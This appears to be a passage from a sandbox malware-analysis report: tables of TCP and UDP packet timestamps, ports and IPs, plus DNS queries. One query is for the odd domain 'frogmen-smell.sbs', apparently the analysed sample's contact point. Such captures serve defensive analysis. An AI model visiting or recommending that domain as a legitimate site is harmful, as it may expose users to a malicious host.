Nov 15, 2024 13:19:09.442414045 CET	443	50082	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:09.447138071 CET	443	50083	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:09.447544098 CET	50083	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:09.447561026 CET	443	50083	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:09.447993994 CET	50083	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:09.448002100 CET	443	50083	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:09.454787016 CET	443	50084	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:09.455161095 CET	50084	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:09.455183029 CET	443	50084	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:09.455564022 CET	50084	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:09.455570936 CET	443	50084	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:09.570950031 CET	443	50082	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:09.571014881 CET	443	50082	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:09.571090937 CET	50082	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:09.571115971 CET	443	50082	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:09.571151972 CET	443	50082	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:09.571156979 CET	50082	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:09.571202040 CET	50082	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:09.571422100 CET	50082	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:09.571439981 CET	443	50082	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:09.571455002 CET	50082	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:09.571460009 CET	443	50082	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:09.574809074 CET	50090	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:09.574848890 CET	443	50090	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:09.574917078 CET	50090	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:09.575119019 CET	50090	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:09.575133085 CET	443	50090	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:09.579458952 CET	443	50083	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:09.579509020 CET	443	50083	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:09.579588890 CET	50083	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:09.579619884 CET	443	50083	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:09.579646111 CET	443	50083	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:09.579693079 CET	50083	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:09.579819918 CET	50083	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:09.579834938 CET	443	50083	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:09.579844952 CET	50083	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:09.579849958 CET	443	50083	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:09.581980944 CET	50091	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:09.582035065 CET	443	50091	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:09.582098961 CET	50091	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:09.582917929 CET	50091	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:09.582930088 CET	443	50091	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:09.681721926 CET	443	50088	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:09.707432032 CET	443	50084	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:09.707459927 CET	443	50084	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:09.707475901 CET	443	50084	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:09.707588911 CET	50084	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:09.707613945 CET	443	50084	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:09.707739115 CET	50084	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:09.739696980 CET	50088	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:09.749342918 CET	50088	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:09.749352932 CET	443	50088	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:09.750277042 CET	50088	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:09.750282049 CET	443	50088	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:09.750580072 CET	50084	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:09.750610113 CET	443	50084	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:09.750631094 CET	50084	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:09.750639915 CET	443	50084	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:09.757555008 CET	50092	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:09.757581949 CET	443	50092	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:09.761780977 CET	50092	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:09.761780977 CET	50092	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:09.761809111 CET	443	50092	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:09.875382900 CET	443	50088	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:09.875418901 CET	443	50088	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:09.875495911 CET	443	50088	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:09.875643969 CET	50088	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:09.875643969 CET	50088	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:09.935738087 CET	50088	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:09.935760975 CET	443	50088	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:09.935825109 CET	50088	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:09.935831070 CET	443	50088	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:09.982527971 CET	443	50089	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:10.026544094 CET	50089	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:10.068440914 CET	50089	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:10.068454027 CET	443	50089	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:10.069351912 CET	50089	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:10.069358110 CET	443	50089	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:10.072413921 CET	50093	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:10.072473049 CET	443	50093	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:10.072763920 CET	50093	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:10.073003054 CET	50093	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:10.073014021 CET	443	50093	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:10.313528061 CET	443	50090	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:10.315071106 CET	443	50091	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:10.315757990 CET	50091	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:10.315805912 CET	443	50091	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:10.315840960 CET	50090	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:10.315851927 CET	443	50090	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:10.316410065 CET	50091	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:10.316421032 CET	443	50091	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:10.316450119 CET	50090	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:10.316453934 CET	443	50090	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:10.358592033 CET	443	50089	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:10.358622074 CET	443	50089	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:10.358633041 CET	443	50089	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:10.358655930 CET	443	50089	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:10.358696938 CET	443	50089	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:10.358751059 CET	50089	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:10.358808994 CET	443	50089	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:10.358831882 CET	50089	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:10.358869076 CET	50089	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:10.444845915 CET	443	50090	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:10.444916964 CET	443	50090	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:10.445035934 CET	50090	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:10.445053101 CET	443	50090	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:10.445074081 CET	443	50090	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:10.445125103 CET	50090	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:10.445369005 CET	50090	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:10.445379972 CET	443	50090	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:10.445406914 CET	50090	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:10.445411921 CET	443	50090	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:10.446491957 CET	443	50091	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:10.446517944 CET	443	50091	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:10.446578979 CET	443	50091	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:10.446585894 CET	50091	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:10.446626902 CET	50091	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:10.446799040 CET	50091	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:10.446825981 CET	443	50091	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:10.446844101 CET	50091	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:10.446851969 CET	443	50091	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:10.449028969 CET	50096	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:10.449067116 CET	443	50096	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:10.449146986 CET	50096	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:10.449316025 CET	50096	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:10.449332952 CET	443	50096	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:10.449337006 CET	50097	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:10.449358940 CET	443	50097	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:10.449440002 CET	50097	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:10.449532032 CET	50097	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:10.449553013 CET	443	50097	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:10.477436066 CET	443	50089	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:10.477508068 CET	443	50089	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:10.477539062 CET	443	50089	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:10.477550030 CET	50089	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:10.477601051 CET	50089	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:10.477648020 CET	50089	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:10.477798939 CET	50089	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:10.477821112 CET	443	50089	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:10.477838993 CET	50089	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:10.477845907 CET	443	50089	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:10.481034040 CET	50098	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:10.481070042 CET	443	50098	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:10.481139898 CET	50098	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:10.481311083 CET	50098	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:10.481324911 CET	443	50098	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:10.489177942 CET	443	50092	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:10.489980936 CET	50092	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:10.490003109 CET	443	50092	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:10.490573883 CET	50092	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:10.490580082 CET	443	50092	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:10.616259098 CET	443	50092	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:10.616337061 CET	443	50092	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:10.616386890 CET	50092	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:10.616750956 CET	50092	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:10.616770029 CET	443	50092	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:10.616791010 CET	50092	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:10.616796970 CET	443	50092	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:10.624294043 CET	50099	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:10.624325991 CET	443	50099	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:10.624408007 CET	50099	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:10.624881029 CET	50099	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:10.624892950 CET	443	50099	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:10.818578959 CET	443	50093	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:10.820825100 CET	50093	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:10.820857048 CET	443	50093	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:10.821535110 CET	50093	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:10.821542025 CET	443	50093	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:10.949078083 CET	443	50093	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:10.949981928 CET	443	50093	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:10.950073004 CET	50093	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:10.950251102 CET	50093	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:10.950270891 CET	443	50093	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:10.950309038 CET	50093	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:10.950314999 CET	443	50093	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:10.956728935 CET	50103	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:10.956769943 CET	443	50103	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:10.956830978 CET	50103	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:10.957581043 CET	50103	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:10.957592010 CET	443	50103	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:11.201586008 CET	443	50096	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:11.203921080 CET	50096	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:11.203948021 CET	443	50096	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:11.204456091 CET	50096	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:11.204462051 CET	443	50096	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:11.209738970 CET	443	50097	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:11.210159063 CET	50097	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:11.210176945 CET	443	50097	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:11.210640907 CET	50097	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:11.210645914 CET	443	50097	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:11.219245911 CET	443	50098	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:11.219685078 CET	50098	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:11.219696999 CET	443	50098	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:11.220118999 CET	50098	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:11.220124006 CET	443	50098	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:11.333142042 CET	443	50096	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:11.333321095 CET	443	50096	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:11.333389044 CET	50096	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:11.333554029 CET	50096	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:11.333578110 CET	443	50096	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:11.333589077 CET	50096	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:11.333595037 CET	443	50096	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:11.336525917 CET	50104	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:11.336574078 CET	443	50104	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:11.336667061 CET	50104	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:11.336827993 CET	50104	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:11.336836100 CET	443	50104	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:11.341626883 CET	443	50097	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:11.341797113 CET	443	50097	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:11.341875076 CET	50097	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:11.341909885 CET	50097	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:11.341926098 CET	443	50097	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:11.341936111 CET	50097	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:11.341942072 CET	443	50097	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:11.344733000 CET	50105	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:11.344769955 CET	443	50105	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:11.344856977 CET	50105	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:11.344990969 CET	50105	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:11.345005035 CET	443	50105	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:11.347625971 CET	443	50098	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:11.347698927 CET	443	50098	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:11.347752094 CET	50098	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:11.347784042 CET	443	50098	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:11.347812891 CET	443	50098	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:11.347856998 CET	50098	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:11.347979069 CET	50098	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:11.347995996 CET	443	50098	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:11.348005056 CET	50098	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:11.348009109 CET	443	50098	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:11.401508093 CET	443	50099	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:11.404042959 CET	50099	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:11.404052019 CET	443	50099	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:11.404946089 CET	50099	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:11.404949903 CET	443	50099	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:11.545371056 CET	443	50099	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:11.545478106 CET	443	50099	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:11.545608044 CET	50099	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:11.545835018 CET	50099	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:11.545855045 CET	443	50099	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:11.545865059 CET	50099	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:11.545871973 CET	443	50099	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:11.687751055 CET	443	50103	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:11.694138050 CET	50103	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:11.694161892 CET	443	50103	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:11.694674015 CET	50103	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:11.694680929 CET	443	50103	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:11.817775965 CET	443	50103	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:11.817857027 CET	443	50103	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:11.817991972 CET	50103	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:11.818259001 CET	50103	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:11.818276882 CET	443	50103	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:11.818286896 CET	50103	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:11.818291903 CET	443	50103	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:12.361468077 CET	443	50105	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:12.362407923 CET	443	50104	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:12.376751900 CET	50105	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:12.376775980 CET	443	50105	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:12.377270937 CET	50105	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:12.377274990 CET	443	50105	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:12.377528906 CET	50104	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:12.377574921 CET	443	50104	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:12.377875090 CET	50104	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:12.377882004 CET	443	50104	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:12.502285957 CET	443	50105	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:12.502473116 CET	443	50105	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:12.502744913 CET	50105	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:12.503412962 CET	50105	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:12.503441095 CET	443	50105	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:12.503457069 CET	50105	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:12.503463984 CET	443	50105	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:12.505379915 CET	443	50104	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:12.505476952 CET	443	50104	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:12.505559921 CET	50104	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:12.523334980 CET	50104	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:12.523386002 CET	443	50104	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:12.523420095 CET	50104	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:19:12.523428917 CET	443	50104	13.107.246.45	192.168.2.7
Nov 15, 2024 13:19:39.551378012 CET	50109	53	192.168.2.7	1.1.1.1
Nov 15, 2024 13:19:39.556241035 CET	53	50109	1.1.1.1	192.168.2.7
Nov 15, 2024 13:19:39.556421041 CET	50109	53	192.168.2.7	1.1.1.1
Nov 15, 2024 13:19:39.556515932 CET	50109	53	192.168.2.7	1.1.1.1
Nov 15, 2024 13:19:39.556548119 CET	50109	53	192.168.2.7	1.1.1.1
Nov 15, 2024 13:19:39.561640024 CET	53	50109	1.1.1.1	192.168.2.7
Nov 15, 2024 13:19:39.561649084 CET	53	50109	1.1.1.1	192.168.2.7
Nov 15, 2024 13:19:40.142925024 CET	53	50109	1.1.1.1	192.168.2.7
Nov 15, 2024 13:19:40.143632889 CET	50109	53	192.168.2.7	1.1.1.1
Nov 15, 2024 13:19:40.148821115 CET	53	50109	1.1.1.1	192.168.2.7
Nov 15, 2024 13:19:40.148885012 CET	50109	53	192.168.2.7	1.1.1.1
Nov 15, 2024 13:19:43.142174959 CET	50111	443	192.168.2.7	172.217.16.196
Nov 15, 2024 13:19:43.142272949 CET	443	50111	172.217.16.196	192.168.2.7
Nov 15, 2024 13:19:43.143450975 CET	50111	443	192.168.2.7	172.217.16.196
Nov 15, 2024 13:19:43.143709898 CET	50111	443	192.168.2.7	172.217.16.196
Nov 15, 2024 13:19:43.143737078 CET	443	50111	172.217.16.196	192.168.2.7
Nov 15, 2024 13:19:44.007695913 CET	443	50111	172.217.16.196	192.168.2.7
Nov 15, 2024 13:19:44.008039951 CET	50111	443	192.168.2.7	172.217.16.196
Nov 15, 2024 13:19:44.008109093 CET	443	50111	172.217.16.196	192.168.2.7
Nov 15, 2024 13:19:44.008641958 CET	443	50111	172.217.16.196	192.168.2.7
Nov 15, 2024 13:19:44.009114027 CET	50111	443	192.168.2.7	172.217.16.196
Nov 15, 2024 13:19:44.009185076 CET	443	50111	172.217.16.196	192.168.2.7
Nov 15, 2024 13:19:44.058427095 CET	50111	443	192.168.2.7	172.217.16.196
Nov 15, 2024 13:19:53.999643087 CET	443	50111	172.217.16.196	192.168.2.7
Nov 15, 2024 13:19:53.999875069 CET	443	50111	172.217.16.196	192.168.2.7
Nov 15, 2024 13:19:54.000015020 CET	50111	443	192.168.2.7	172.217.16.196
Nov 15, 2024 13:19:55.832015038 CET	50111	443	192.168.2.7	172.217.16.196
Nov 15, 2024 13:19:55.832087040 CET	443	50111	172.217.16.196	192.168.2.7

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 15, 2024 13:18:09.625782013 CET	49920	53	192.168.2.7	1.1.1.1
Nov 15, 2024 13:18:09.669524908 CET	53	49920	1.1.1.1	192.168.2.7
Nov 15, 2024 13:18:16.089967966 CET	123	123	192.168.2.7	20.101.57.9
Nov 15, 2024 13:18:16.843364954 CET	123	123	20.101.57.9	192.168.2.7
Nov 15, 2024 13:18:39.048568010 CET	53	55149	1.1.1.1	192.168.2.7
Nov 15, 2024 13:18:39.051317930 CET	53	51482	1.1.1.1	192.168.2.7
Nov 15, 2024 13:18:40.434967995 CET	53	59372	1.1.1.1	192.168.2.7
Nov 15, 2024 13:18:42.849200964 CET	58504	53	192.168.2.7	1.1.1.1
Nov 15, 2024 13:18:42.849354029 CET	63978	53	192.168.2.7	1.1.1.1
Nov 15, 2024 13:18:43.091183901 CET	53375	53	192.168.2.7	1.1.1.1
Nov 15, 2024 13:18:43.092251062 CET	57359	53	192.168.2.7	1.1.1.1
Nov 15, 2024 13:18:43.098243952 CET	53	53375	1.1.1.1	192.168.2.7
Nov 15, 2024 13:18:43.099625111 CET	53	57359	1.1.1.1	192.168.2.7
Nov 15, 2024 13:18:45.119184017 CET	58946	53	192.168.2.7	1.1.1.1
Nov 15, 2024 13:18:45.119334936 CET	58562	53	192.168.2.7	1.1.1.1
Nov 15, 2024 13:18:53.259960890 CET	53	52735	1.1.1.1	192.168.2.7
Nov 15, 2024 13:18:53.498568058 CET	57960	53	192.168.2.7	1.1.1.1
Nov 15, 2024 13:18:53.498749971 CET	50871	53	192.168.2.7	1.1.1.1
Nov 15, 2024 13:18:57.706798077 CET	53	63036	1.1.1.1	192.168.2.7
Nov 15, 2024 13:19:10.334764957 CET	138	138	192.168.2.7	192.168.2.255
Nov 15, 2024 13:19:16.644635916 CET	53	62297	1.1.1.1	192.168.2.7
Nov 15, 2024 13:19:38.381652117 CET	53	55543	1.1.1.1	192.168.2.7
Nov 15, 2024 13:19:39.550297022 CET	53	53276	1.1.1.1	192.168.2.7
Nov 15, 2024 13:19:39.551629066 CET	53	50349	1.1.1.1	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 15, 2024 13:18:09.625782013 CET	192.168.2.7	1.1.1.1	0xa432	Standard query (0)	frogmen-smell.sbs	A (IP address)	IN (0x0001)	false
Nov 15, 2024 13:18:42.849200964 CET	192.168.2.7	1.1.1.1	0x76fc	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Nov 15, 2024 13:18:42.849354029 CET	192.168.2.7	1.1.1.1	0x8b49	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
Nov 15, 2024 13:18:43.091183901 CET	192.168.2.7	1.1.1.1	0x1eef	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 15, 2024 13:18:43.092251062 CET	192.168.2.7	1.1.1.1	0x8c5e	Standard query (0)	www.google.com	65	IN (0x0001)	false
